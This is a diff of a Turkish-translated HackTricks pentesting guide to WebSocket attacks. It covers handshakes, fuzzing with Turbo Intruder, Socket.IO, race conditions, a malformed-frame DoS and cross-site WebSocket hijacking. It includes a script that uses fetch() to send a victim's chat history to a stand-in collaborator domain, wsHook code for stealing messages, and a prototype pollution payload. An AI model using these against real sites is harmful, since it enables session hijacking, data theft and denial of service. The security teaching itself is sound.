+++ b/src/pentesting-web/websocket-attacks.md
@ -1,22 +1,22 @@
-# WebSocket Saldırıları
+# WebSocket Attacks

 {{#include ../banners/hacktricks-training.md}}

-## WebSocket Nedir
+## WebSockets nedir

-WebSocket bağlantıları, başlangıçta bir **HTTP** el sıkışması ile kurulur ve **uzun ömürlü** olacak şekilde tasarlanmıştır; bu, herhangi bir zamanda iki yönlü mesajlaşmaya olanak tanır ve bir işlem sistemine ihtiyaç duymaz. Bu, WebSocket'leri, **düşük gecikme veya sunucu tarafından başlatılan iletişim** gerektiren uygulamalar için özellikle avantajlı hale getirir, örneğin canlı finansal veri akışları.
+WebSocket bağlantıları başlangıçta bir **HTTP** handshake ile kurulur ve **long-lived** olacak şekilde tasarlanmıştır; bu sayede transactional bir sisteme ihtiyaç duymadan her zaman çift yönlü mesajlaşmaya izin verir. Bu, canlı finansal veri akışları gibi **düşük gecikme veya server-initiated communication** gerektiren uygulamalar için WebSockets'i özellikle avantajlı kılar.

 ### WebSocket Bağlantılarının Kurulması

-WebSocket bağlantılarının kurulması hakkında ayrıntılı bir açıklama [**buradan**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc) erişilebilir. Özetle, WebSocket bağlantıları genellikle aşağıda gösterildiği gibi istemci tarafı JavaScript ile başlatılır:
+WebSocket bağlantılarının kurulmasına dair detaylı bir açıklamaya [**burada**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc) ulaşılabilir. Özetle, WebSocket bağlantıları genellikle aşağıda gösterildiği gibi istemci tarafı JavaScript ile başlatılır:
 ```javascript
 var ws = new WebSocket("wss://normal-website.com/ws")
 ```
-`wss` protokolü, **TLS** ile güvence altına alınmış bir WebSocket bağlantısını belirtirken, `ws` **güvensiz** bir bağlantıyı ifade eder.
+`wss` protokolü **TLS** ile güvenli hale getirilmiş bir WebSocket bağlantısını ifade ederken, `ws` **güvenli olmayan** bir bağlantıyı gösterir.

-Bağlantı kurulumu sırasında, tarayıcı ve sunucu arasında HTTP üzerinden bir el sıkışma (handshake) gerçekleştirilir. El sıkışma süreci, tarayıcının bir istek göndermesi ve sunucunun yanıt vermesi ile ilgilidir; aşağıdaki örneklerde gösterildiği gibi:
+Bağlantı kurulurken, HTTP üzerinden tarayıcı ile sunucu arasında bir handshake gerçekleştirilir. Handshake süreci tarayıcının bir istek göndermesini ve sunucunun yanıt vermesini içerir; aşağıdaki örneklerde gösterildiği gibi:

-Tarayıcı bir el sıkışma isteği gönderir:
+Tarayıcı bir handshake isteği gönderir:
 ```javascript
 GET /chat HTTP/1.1
 Host: normal-website.com
@ -26,27 +26,27 @@ Connection: keep-alive, Upgrade
 Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
 Upgrade: websocket
 ```
-Sunucu el sıkışma yanıtı:
+Sunucunun handshake yanıtı:
 ```javascript
 HTTP/1.1 101 Switching Protocols
 Connection: Upgrade
 Upgrade: websocket
 Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
 ```
-Bağlantı kurulduktan sonra, her iki yönde mesaj alışverişi için açık kalır.
+Bağlantı kurulduktan sonra iki yönlü mesaj alışverişi için açık kalır.

-**WebSocket El Sıkışmasının Ana Noktaları:**
+**WebSocket Handshake'in Temel Noktaları:**

- `Connection` ve `Upgrade` başlıkları, bir WebSocket el sıkışmasının başlatıldığını belirtir.
- `Sec-WebSocket-Version` başlığı, genellikle `13` olan istenen WebSocket protokol sürümünü gösterir.
- `Sec-WebSocket-Key` başlığında Base64 kodlu rastgele bir değer gönderilir; bu, her el sıkışmanın benzersiz olmasını sağlar ve önbellek proxy'leriyle ilgili sorunları önlemeye yardımcı olur. Bu değer kimlik doğrulama için değil, yanıtın yanlış yapılandırılmış bir sunucu veya önbellek tarafından üretilmediğini doğrulamak içindir.
- Sunucunun yanıtındaki `Sec-WebSocket-Accept` başlığı, `Sec-WebSocket-Key`'in bir hash'idir ve sunucunun bir WebSocket bağlantısı açma niyetini doğrular.
+- The `Connection` and `Upgrade` headers signal the initiation of a WebSocket handshake.
+- The `Sec-WebSocket-Version` header indicates the desired WebSocket protocol version, usually `13`.
+- A Base64-encoded random value is sent in the `Sec-WebSocket-Key` header, ensuring each handshake is unique, which helps to prevent issues with caching proxies. This value is not for authentication but to confirm that the response is not generated by a misconfigured server or cache.
+- The `Sec-WebSocket-Accept` header in the server's response is a hash of the `Sec-WebSocket-Key`, verifying the server's intention to open a WebSocket connection.

-Bu özellikler, el sıkışma sürecinin güvenli ve güvenilir olmasını sağlar ve verimli gerçek zamanlı iletişim için zemin hazırlar.
+Bu özellikler handshake sürecinin güvenli ve güvenilir olmasını sağlar ve verimli gerçek zamanlı iletişim için zemin hazırlar.

 ### Linux konsolu

-Bir websocket ile ham bir bağlantı kurmak için `websocat` kullanabilirsiniz.
+`websocat` kullanarak bir websocket ile ham bağlantı kurabilirsiniz.
 ```bash
 websocat --insecure wss://10.10.10.10:8000 -v
 ```
@ -56,23 +56,23 @@ websocat -s 0.0.0.0:8000 #Listen in port 8000
 ```
 ### MitM websocket bağlantıları

-Eğer istemcilerin mevcut yerel ağınızdan bir **HTTP websocket**'e bağlı olduğunu bulursanız, istemci ile sunucu arasında bir MitM saldırısı gerçekleştirmek için bir [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) denemek isteyebilirsiniz.\
-İstemci sizinle bağlantı kurmaya çalıştığında, o zaman şunu kullanabilirsiniz:
+Eğer istemcilerin mevcut yerel ağınızdan bir **HTTP websocket**e bağlı olduğunu tespit ederseniz, istemci ile sunucu arasında bir MitM saldırısı gerçekleştirmek için bir [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) deneyebilirsiniz.\
+İstemci size bağlanmaya çalışırken şu araçları kullanabilirsiniz:
 ```bash
 websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
 ```
-### Websockets enumeration
+### Websockets keşfi

-Websockets'ı otomatik olarak keşfetmek, parmak izi çıkarmak ve bilinen **vulnerabilities** için arama yapmak üzere **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **kullanabilirsiniz.**
+Websockets üzerinde bilinen **vulnerabilities**'ları otomatik olarak keşfetmek, fingerprint almak ve aramak için **araç** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) kullanabilirsiniz.

-### Websocket Debug tools
+### Websocket Debug araçları

- **Burp Suite**, MitM websockets iletişimini, normal HTTP iletişimi için yaptığına çok benzer bir şekilde destekler.
- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite eklentisi**, **history** alarak, **interception rules** ayarlayarak, **match and replace** kurallarını kullanarak, **Intruder** ve **AutoRepeater** kullanarak Burp'ta Websocket iletişimlerini daha iyi yönetmenizi sağlar.
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** "WebSocket/Socket.io Proxy"nun kısaltması olan bu araç, Node.js ile yazılmıştır ve istemci ile sunucu arasındaki tüm WebSocket ve Socket.IO iletişimlerini **yakalamak, kesmek, özel** mesajlar göndermek ve görüntülemek için bir kullanıcı arayüzü sağlar.
- [**wsrepl**](https://github.com/doyensec/wsrepl), özellikle penetrasyon testi için tasarlanmış bir **interaktif websocket REPL**'dir. **Gelen websocket mesajlarını gözlemlemek ve yenilerini göndermek** için bir arayüz sağlar ve bu iletişimi **otomatikleştirmek** için kullanımı kolay bir çerçeve sunar.
- [**https://websocketking.com/**](https://websocketking.com/) diğer weblerle **websockets** kullanarak iletişim kurmak için bir **web**'dir.
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) diğer iletişim/protokol türlerinin yanı sıra, diğer weblerle **websockets** kullanarak iletişim kurmak için bir **web** sağlar.
+- **Burp Suite** MitM websockets iletişimini, normal HTTP iletişimine yaptığına çok benzer bir şekilde destekler.
+- The [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite extension** Burp içinde Websocket iletişimlerini daha iyi yönetmenizi sağlar; **history**'yi görme, **interception rules** ayarlama, **match and replace** kuralları kullanma, **Intruder** ve **AutoRepeater** kullanma gibi imkanlar sunar.
+- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Short for "**WebSocket/Socket.io Proxy**", Node.js ile yazılmış bu araç, client ve server arasındaki tüm WebSocket ve Socket.IO iletişimlerini görüntülemek ve mesajları **capture, intercept, send custom** etmek için bir kullanıcı arayüzü sağlar.
+- [**wsrepl**](https://github.com/doyensec/wsrepl) pentesting için özel olarak tasarlanmış bir **interactive websocket REPL**'dir. **incoming websocket messages and sending new ones**'ı gözlemlemek ve yeni mesajlar göndermek için bir arayüz sağlar; bu iletişimi **automating** etmek için kullanımı kolay bir framework içerir.
+- [**https://websocketking.com/**](https://websocketking.com/) **diğer web'lerle iletişim kurmak için bir web** sağlayan ve **websockets** kullanan bir web aracıdır.
+- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) diğer iletişim/protokol türleri arasında, **websockets** kullanarak diğer web'lerle iletişim kurmak için bir **web** sağlar.

 ## Decrypting Websocket

@ -81,33 +81,150 @@ Websockets'ı otomatik olarak keşfetmek, parmak izi çıkarmak ve bilinen **vul

 ## Websocket Lab

-[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) içinde websockets kullanarak bir web başlatmak için bir kod bulabilirsiniz ve [**bu yazıda**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) bir açıklama bulabilirsiniz.
+[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) içinde websockets kullanan bir web başlatmak için örnek kod bulunur ve [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) içinde bir açıklama bulabilirsiniz.

 ## Websocket Fuzzing

-Burp eklentisi [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) artık WebSocket mesajlarını da fuzz yapmanıza olanak tanıyor. Bununla ilgili daha fazla bilgi [**burada**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner) okuyabilirsiniz.
+Burp uzantısı [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) artık WebSocket mesajlarını da fuzz etmeye izin veriyor. Bu konuda daha fazla bilgiyi [**here**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner) adresinde bulabilirsiniz.
+
+### WebSocket Turbo Intruder (Burp extension)
+
+PortSwigger'ın WebSocket Turbo Intruder'ı Turbo Intruder–tarzı Python scripting ve yüksek hızda fuzzing'i WebSockets'e getirir. BApp Store'dan veya kaynaktan yükleyin. İki bileşenden oluşur:
+
+- Turbo Intruder: custom engines kullanarak tek bir WS endpoint'ine yüksek hacimli mesaj gönderimi.
+- HTTP Middleware: yerel bir HTTP endpoint'i açar ve gövdeleri persistent bir bağlantı üzerinden WS mesajları olarak iletir, böylece herhangi bir HTTP‑tabanlı scanner WS backend'lerini test edebilir.
+
+Bir WS endpoint'ini fuzz etmek ve ilgili yanıtları filtrelemek için temel script yapısı:
+```python
+def queue_websockets(upgrade_request, message):
+connection = websocket_connection.create(upgrade_request)
+for i in range(10):
+connection.queue(message, str(i))
+
+def handle_outgoing_message(websocket_message):
+results_table.add(websocket_message)
+
+@MatchRegex(r'{\"user\":\"Hal Pline\"')
+def handle_incoming_message(websocket_message):
+results_table.add(websocket_message)
+```
+Tek bir mesaj birden fazla yanıt tetiklediğinde gürültüyü azaltmak için `@MatchRegex(...)` gibi dekoratörler kullanın.
+
+### HTTP arkasında WS Köprüsü (HTTP Middleware)
+
+Sürekli bir WS bağlantısını sarın ve HTTP gövdelerini WS mesajları olarak ileterek HTTP tarama araçlarıyla otomatik testler yapın:
+```python
+def create_connection(upgrade_request):
+connection = websocket_connection.create(upgrade_request)
+return connection
+
+@MatchRegex(r'{\"user\":\"You\"')
+def handle_incoming_message(websocket_message):
+results_table.add(websocket_message)
+```
+Sonra HTTP'yi yerel olarak gönder; body WS mesajı olarak iletilir:
+```http
+POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
+Host: 127.0.0.1:9000
+Content-Length: 16
+
+{"message":"hi"}
+```
+Bu, WS backend'lerini kontrol etmenizi ve "ilginç" olaylar (örn. SQLi hataları, auth bypass, command injection davranışı) için filtreleme yapmanızı sağlar.
+
+### Socket.IO handling (handshake, heartbeats, events)
+
+Socket.IO, WS'nin üzerine kendi çerçevelemesini ekler. Zorunlu sorgu parametresi `EIO` (örn. `EIO=4`) ile tespit edin. Oturumu Ping (`2`) ve Pong (`3`) ile canlı tutun ve konuşmayı `"40"` ile başlatın; ardından `42["message","hello"]` gibi olaylar gönderin.
+
+Intruder example:
+```python
+import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
+
+def queue_websockets(upgrade_request, message):
+connection = websocket_connection.create(
+upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
+connection.queue('40')
+connection.queue('42["message","hello"]')
+
+@Pong("3")
+def handle_outgoing_message(websocket_message):
+results_table.add(websocket_message)
+
+@PingPong("2", "3")
+def handle_incoming_message(websocket_message):
+results_table.add(websocket_message)
+```
+HTTP adaptör varyantı:
+```python
+import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
+
+def create_connection(upgrade_request):
+connection = websocket_connection.create(
+upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
+connection.queue('40')
+connection.decIn()
+return connection
+
+@Pong("3")
+def handle_outgoing_message(websocket_message):
+results_table.add(websocket_message)
+
+@PingPong("2", "3")
+def handle_incoming_message(websocket_message):
+results_table.add(websocket_message)
+```
+### Socket.IO aracılığıyla server-side prototype pollution tespiti
+
+PortSwigger’ın güvenli tespit tekniğini takip ederek, Express iç yapılarını şu gibi bir payload göndererek kirletmeyi deneyin:
+```json
+{"__proto__":{"initialPacket":"Polluted"}}
+```
+Eğer selamlaşmalar veya davranış değişiyorsa (ör. echo içinde "Polluted" görünüyorsa), muhtemelen server-side prototypes kirlendi. Etki, ulaşılabilir sinks'e bağlıdır; Node.js prototype pollution bölümündeki gadgets ile korelasyon kurun. Bakın:
+
+- Check [NodeJS – __proto__ & prototype Pollution](deserialization/nodejs-proto-prototype-pollution/README.md) for sinks/gadgets and chaining ideas.
+
+### WebSocket race conditions with Turbo Intruder
+
+Varsayılan engine mesajları tek bir connection üzerinde batch'ler (büyük throughput, yarışlar için zayıf). Paralel olarak mantık yarışlarını tetiklemek (double‑spend, token reuse, state desync) için birden fazla WS connection oluşturmak ve payloadları paralel ateşlemek üzere THREADED engine'i kullanın. Örnek script ile başlayın ve `config()` içinde concurrency'i ayarlayın.
+
+- Learn methodology and alternatives in [Race Condition](race-condition.md) (see “RC in WebSockets”).
+
+### WebSocket DoS: malformed frame “Ping of Death”
+
+Header'ı büyük bir payload length olarak beyan eden fakat body göndermeyen WS frame'leri oluşturun. Bazı WS server'ları length'e güvenip buffer ön‑ayırır; bunu `Integer.MAX_VALUE` civarına ayarlamak Out‑Of‑Memory ve uzaktan yetkisiz DoS'e yol açabilir. Örnek script'e bakın.
+
+### CLI and debugging
+
+- Headless fuzzing: `java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>`
+- WS Logger'ı etkinleştirerek mesajları internal IDs ile yakalayın ve korelasyon kurun.
+- Karmaşık adapter'larda mesaj ID işleme davranışını ince ayarlamak için `Connection` üzerinde `inc*`/`dec*` helper'larını kullanın.
+- `@PingPong`/`@Pong` gibi dekoratörler ve `isInteresting()` gibi helper'lar gürültüyü azaltır ve oturumları canlı tutar.
+
+### Operational safety
+
+Yüksek hızlı WS fuzzing, çok sayıda connection açabilir ve saniyede binlerce mesaj gönderebilir. Malformed frame'ler ve yüksek hızlar gerçek DoS'a neden olabilir. Yalnızca izin verilen yerlerde kullanın.

 ## Cross-site WebSocket hijacking (CSWSH)

-**Cross-site WebSocket hijacking**, ayrıca **cross-origin WebSocket hijacking** olarak da bilinir, WebSocket el sıkışmalarını etkileyen **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)**'nin özel bir durumu olarak tanımlanır. Bu güvenlik açığı, WebSocket el sıkışmalarının yalnızca **HTTP cookies** aracılığıyla kimlik doğrulaması yaptığı durumlarda ortaya çıkar; **CSRF token** veya benzeri güvenlik önlemleri olmadan.
+Cross-site WebSocket hijacking, diğer adıyla cross-origin WebSocket hijacking, WebSocket handshakes'i etkileyen özel bir [Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md) vakası olarak tanımlanır. Bu zafiyet, WebSocket handshakes'in yalnızca HTTP cookies ile kimlik doğrulaması yaptığı ve CSRF token'ları veya benzeri güvenlik önlemleri kullanılmadığı durumlarda ortaya çıkar.

-Saldırganlar, savunmasız bir uygulamaya çapraz site WebSocket bağlantısı başlatan bir **kötü niyetli web sayfası** barındırarak bunu istismar edebilirler. Sonuç olarak, bu bağlantı, uygulama ile kurbanın oturumu ile bir parça olarak kabul edilir ve oturum yönetim mekanizmasındaki CSRF korumasının eksikliğinden yararlanır.
+Saldırganlar bunu, savunmasız uygulamaya cross-site WebSocket bağlantısı başlatan bir kötücül web sayfası barındırarak suistimal edebilir. Sonuç olarak, bu bağlantı uygulama ile kurbanın oturumunun bir parçası olarak değerlendirilir; bu, oturum yönetim mekanizmasında CSRF koruması eksikliğinin suistimal edilmesidir.

-Bu saldırının çalışabilmesi için gereksinimler şunlardır:
+Bu saldırının işe yaraması için gereksinimler şunlardır:

- Websocket **kimlik doğrulaması çerez tabanlı olmalıdır**
- Çerez, saldırganın sunucusundan erişilebilir olmalıdır (bu genellikle **`SameSite=None`** anlamına gelir) ve Firefox'ta **Firefox Total Cookie Protection** etkin olmamalıdır ve Chrome'da **üçüncü taraf çerezleri** engellenmemelidir.
- Websocket sunucusu bağlantının kaynağını kontrol etmemelidir (veya bu aşılabilir olmalıdır)
+- websocket authentication must be cookie based
+- Cookie'nin saldırganın sunucusundan erişilebilir olması gerekir (genellikle bu **`SameSite=None`** anlamına gelir) ve Firefox'ta **Firefox Total Cookie Protection** etkin olmamalı ve Chrome'da **blocked third-party cookies** engellenmemiş olmalıdır.
+- websocket server bağlantının origin'ini kontrol etmemeli (veya bu bypass edilebilir olmalı)

 Ayrıca:

- Eğer kimlik doğrulama yerel bir bağlantıya (localhost veya yerel ağa) dayanıyorsa, saldırı **mümkün olacaktır** çünkü mevcut korumalar bunu yasaklamaz (daha fazla bilgi için [buraya](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/) bakın)
+- Eğer authentication localhost veya yerel ağ gibi lokal bir bağlantıya dayanıyorsa, mevcut herhangi bir koruma bunu yasaklamadığı için saldırı **mümkün olacaktır** (daha fazla bilgi için bakın: [more info here](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))

 ### Simple Attack

-**websocket** bağlantısı **kurulurken** **çerez** sunucuya **gönderilir**. **Sunucu**, her **belirli** **kullanıcıyı** gönderilen çereze dayalı olarak **websocket** **oturumu** ile **ilişkilendirmek** için bunu kullanıyor olabilir.
+websocket connection kurulduğunda cookie'nin server'a gönderildiğini unutmayın. Server, gönderilen cookie'ye dayanarak her bir specific user'ı onun websocket session'ı ile ilişkilendirmek için bunu kullanıyor olabilir.

-Daha sonra, eğer **örneğin** **websocket** **sunucusu**, bir mesaj "**READY"** gönderildiğinde bir kullanıcının **konuşma geçmişini** geri gönderirse, o zaman bir **basit XSS** bağlantıyı kurarak (**çerez** **otomatik olarak** kurban kullanıcının yetkilendirilmesi için **gönderilecektir**) "**READY**" göndererek **konuşma** geçmişini **geri alabilecektir**.
+Örneğin, eğer websocket server bir kullanıcıya ait konuşma geçmişini bir msg ile "**READY**" gönderildiğinde geri döndürüyor ise, bağlantıyı kuran basit bir XSS (cookie, victim user'ı yetkilendirmek için otomatik olarak gönderilecektir) "**READY**" göndererek konuşma geçmişini elde edebilecektir.
 ```html
 <script>
 websocket = new WebSocket('wss://your-websocket-URL')
@ -124,11 +241,11 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
 ```
 ### Cross Origin + Cookie with a different subdomain

-Bu blog yazısında [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) saldırgan, web socket iletişiminin gerçekleştiği alanın **alt alanında rastgele Javascript çalıştırmayı** başardı. Çünkü bu bir **alt alan** idi, **cookie** **gönderiliyordu** ve çünkü **Websocket, Origin'i düzgün kontrol etmediği için**, onunla iletişim kurmak ve **ondan token çalmak** mümkün oldu.
+In this blog post [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) saldırgan, web socket iletişiminin gerçekleştiği domain'in bir **subdomain**inde **execute arbitrary Javascript in a subdomain** çalıştırmayı başardı. Çünkü orası bir **subdomain** olduğu için, **cookie** was being **sent**, ve çünkü **Websocket didn't check the Origin properly**, onunla iletişim kurulup **steal tokens from it** mümkün oldu.

 ### Stealing data from user

-Kendinizi taklit etmek istediğiniz web uygulamasını kopyalayın (örneğin .html dosyaları) ve websocket iletişiminin gerçekleştiği scriptin içine bu kodu ekleyin:
+Taklit etmek istediğiniz web uygulamasını (.html files for example) kopyalayın ve websocket iletişiminin gerçekleştiği script içinde şu kodu ekleyin:
 ```javascript
 //This is the script tag to load the websocket hooker
 ;<script src="wsHook.js"></script>
@ -149,41 +266,50 @@ return messageEvent
 }
 ```
 Şimdi `wsHook.js` dosyasını [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) adresinden indirin ve **web dosyalarının bulunduğu klasöre kaydedin**.\
-Web uygulamasını açarak bir kullanıcının buna bağlanmasını sağlarsanız, websocket aracılığıyla gönderilen ve alınan mesajları çalabilirsiniz:
+Web uygulamasını açığa çıkarıp bir kullanıcının bağlanmasını sağlarsanız, websocket üzerinden gönderilen ve alınan mesajları çalabilirsiniz:
 ```javascript
 sudo python3 -m http.server 80
 ```
 ### CSWSH Koruma Önlemleri

-CSWSH saldırısı, bir **kullanıcının kötü niyetli bir sayfaya bağlanacağı** ve bu sayfanın **kullanıcının zaten bağlı olduğu bir web sayfasına websocket bağlantısı açacağı** gerçeğine dayanmaktadır; bu istek kullanıcının çerezlerini göndereceği için kullanıcı olarak kimlik doğrulaması yapacaktır.
+CSWSH saldırısı, bir **kullanıcının kötü amaçlı bir sayfaya bağlanması** ve bu sayfanın kullanıcının zaten bağlı olduğu bir web sayfasına **websocket bağlantısı açması** ve isteğin kullanıcının çerezlerini göndermesi nedeniyle onun yerine kimlik doğrulaması yapması gerçeğine dayanır.

-Günümüzde bu sorunu önlemek oldukça kolaydır:
+Günümüzde bu sorunu önlemek çok kolay:

- **Websocket sunucusunun kaynağı kontrol etmesi**: Websocket sunucusu, beklenmedik sayfaların bağlanmasını önlemek için her zaman kullanıcının nereden bağlandığını kontrol etmelidir.
- **Kimlik doğrulama token'ı**: Kimlik doğrulamayı bir çereze dayandırmak yerine, websocket bağlantısı, saldırgana bilinmeyen kullanıcı için sunucu tarafından üretilen bir token'a dayandırılabilir (bir anti-CSRF token'ı gibi).
- **SameSite Çerezi özelliği**: `SameSite` değeri `Lax` veya `Strict` olan çerezler, dışarıdan bir saldırgan sayfasından kurban sunucusuna gönderilmeyecek, bu nedenle çerez tabanlı kimlik doğrulama başarılı olmayacaktır. Chrome'un artık bu bayrak belirtilmeden çerezlere **`Lax`** değerini verdiğini ve bu durumu varsayılan olarak daha güvenli hale getirdiğini unutmayın. Ancak, bir çerez oluşturulduğunda ilk 2 dakika boyunca değeri **`None`** olacak ve bu sınırlı süre boyunca savunmasız kalacaktır (bu önlemin bir noktada kaldırılması beklenmektedir).
- **Firefox Tam Çerez Koruması**: Tam Çerez Koruması, çerezleri oluşturuldukları siteye izole ederek çalışır. Temelde her site, üçüncü tarafların bir kullanıcının tarayıcı geçmişini birleştirmesini önlemek için kendi çerez depolama bölümüne sahiptir. Bu, **CSWSH'yi kullanılamaz hale getirir** çünkü saldırganın sitesi çerezlere erişim sağlayamaz.
- **Chrome üçüncü taraf çerez engeli**: Bu, `SameSite=None` olsa bile, kimlik doğrulaması yapılmış kullanıcının çerezinin websocket sunucusuna gönderilmesini de engelleyebilir.
+- **Websocket sunucusunun origin'i kontrol etmesi**: Websocket sunucusu, beklenmeyen sayfaların bağlanmasını engellemek için her zaman kullanıcının nereden bağlandığını kontrol etmelidir.
+- **Kimlik doğrulama token'ı**: Kimlik doğrulamayı bir cookie üzerine kurmak yerine, websocket bağlantısı sunucu tarafından kullanıcı için üretilen ve saldırganın bilmediği bir token'a dayanabilir (ör. anti-CSRF token).
+- **SameSite Cookie attribute**: `SameSite` değeri `Lax` veya `Strict` olan çerezler, harici bir saldırganın sayfasından victim sunucuya gönderilmeyecektir; dolayısıyla çerez bazlı kimlik doğrulama başarılı olmaz. Not: Chrome artık bu flag belirtilmemiş çerezlere varsayılan olarak **`Lax`** değerini atayarak bunu daha güvenli hale getirir. Ancak bir çerez oluşturulduktan sonraki ilk 2 dakika boyunca değeri **`None`** olur ve bu sınırlı süre içinde saldırıya açık kalır (ayrıca bu önlemin bir noktada kaldırılması bekleniyor).
+- **Firefox Total Cookie Protection**: Total Cookie Protection, çerezleri oluşturuldukları siteye izole ederek çalışır. Temelde her site, üçüncü tarafların kullanıcının gezinme geçmişini birbirine bağlamasını engellemek için kendi çerez depolama bölümüne sahiptir. Bu, saldırganın siteye çerezlere erişemeyeceği anlamına geldiğinden **CSWSH'i kullanılamaz hale getirir**.
+- **Chrome third-party cookies block**: Bu, `SameSite=None` olsa bile doğrulanmış kullanıcının çerezinin websocket sunucusuna gönderilmesini engelleyebilir.

-## Yarış Koşulları
+## Race Conditions

-WebSocket'lerde Yarış Koşulları da bir durumdur, [daha fazla bilgi için bu bilgiyi kontrol edin](race-condition.md#rc-in-websockets).
+WebSockets'te Race Conditions da mümkündür, daha fazla bilgi için [check this information to learn more](race-condition.md#rc-in-websockets).

 ## Diğer zafiyetler

-Web Sockets, **veri göndermek için sunucu tarafı ve istemci tarafı** arasında bir mekanizma olduğundan, sunucu ve istemcinin bilgileri nasıl işlediğine bağlı olarak, **Web Sockets, bir websocket üzerinden bir kullanıcının girişi ile XSS, SQLi veya diğer yaygın web zafiyetlerini istismar etmek için kullanılabilir.**
+Web Sockets, **sunucu tarafına ve istemci tarafına veri göndermek** için bir mekanizma olduğundan, sunucu ve istemcinin bilgiyi nasıl işlediğine bağlı olarak, **Web Sockets aracılığıyla bir kullanıcının girdiği veriler kullanılarak XSS, SQLi veya diğer yaygın web zafiyetleri** istismar edilebilir.

-## **WebSocket Kaçırma**
+## **WebSocket Smuggling**
+
+Bu zafiyet, ters proxy kısıtlamalarını **websocket iletişimi kurulduğuna** inandırarak (gerçekte kurulmamış olsa bile) atlatmanıza izin verebilir. Bu, bir saldırganın **gizli endpoint'lere erişmesine** olanak sağlayabilir. Daha fazla bilgi için aşağıdaki sayfaya bakın:

-Bu zafiyet, **ters proxy kısıtlamalarını aşmanıza** olanak tanıyabilir ve onlara **websocket iletişiminin kurulduğunu** düşündürebilir (gerçek olmasa bile). Bu, bir saldırganın **gizli uç noktalara erişmesine** olanak tanıyabilir. Daha fazla bilgi için aşağıdaki sayfayı kontrol edin:

 {{#ref}}
 h2c-smuggling.md
 {{#endref}}

-## Referanslar
+## References

 - [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
 - [https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)
+- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
+- [WebSocket Turbo Intruder – BApp Store](https://portswigger.net/bappstore/ba292c5982ea426c95c9d7325d9a1066)
+- [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
+- [Turbo Intruder background](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack)
+- [Server-side prototype pollution – safe detection methods](https://portswigger.net/research/server-side-prototype-pollution#safe-detection-methods-for-manual-testers)
+- [WS RaceCondition PoC (Java)](https://github.com/redrays-io/WS_RaceCondition_PoC)
+- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
+- [PingOfDeathExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/PingOfDeathExample.py)

 {{#include ../banners/hacktricks-training.md}}